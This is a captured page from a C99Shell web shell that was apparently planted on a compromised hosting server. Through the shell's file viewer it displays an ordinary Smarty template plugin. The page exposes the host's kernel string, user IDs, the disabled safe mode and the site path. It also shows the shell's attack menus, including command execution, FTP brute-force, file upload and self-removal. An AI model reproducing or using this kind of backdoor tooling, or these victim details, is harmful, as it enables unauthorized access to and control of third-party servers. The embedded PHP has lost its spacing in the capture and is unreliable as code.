!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/zt-tsou.org.ua/smarty/internals/   drwxr-xr-x
Free 106.79 GB of 200.55 GB (53.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     core.is_secure.php (1.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Smarty plugin
 * @package Smarty
 * @subpackage plugins
 */

/**
 * determines if a resource is secure or not.
 *
 * @param string $resource_type
 * @param string $resource_name
 * @return boolean
 */

//  $resource_type, $resource_name

function smarty_core_is_secure($params, &$smarty)
{
    if (!
$smarty->security || $smarty->security_settings['INCLUDE_ANY']) {
        return 
true;
    }

    if (
$params['resource_type'] == 'file') {
        
$_rp realpath($params['resource_name']);
        if (isset(
$params['resource_base_path'])) {
            foreach ((array)
$params['resource_base_path'] as $curr_dir) {
                if ( (
$_cd realpath($curr_dir)) !== false &&
                     
strncmp($_rp$_cdstrlen($_cd)) == &&
                     
substr($_rpstrlen($_cd), 1) == DIRECTORY_SEPARATOR ) {
                    return 
true;
                }
            }
        }
        if (!empty(
$smarty->secure_dir)) {
            foreach ((array)
$smarty->secure_dir as $curr_dir) {
                if ( (
$_cd realpath($curr_dir)) !== false) {
                    if(
$_cd == $_rp) {
                        return 
true;
                    } elseif (
strncmp($_rp$_cdstrlen($_cd)) == &&
                        
substr($_rpstrlen($_cd), 1) == DIRECTORY_SEPARATOR) {
                        return 
true;
                    }
                }
            }
        }
    } else {
        
// resource is not on local file system
        
return call_user_func_array(
            
$smarty->_plugins['resource'][$params['resource_type']][0][2],
            array(
$params['resource_name'], &$smarty));
    }

    return 
false;
}

/* vim: set expandtab: */

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0271 ]--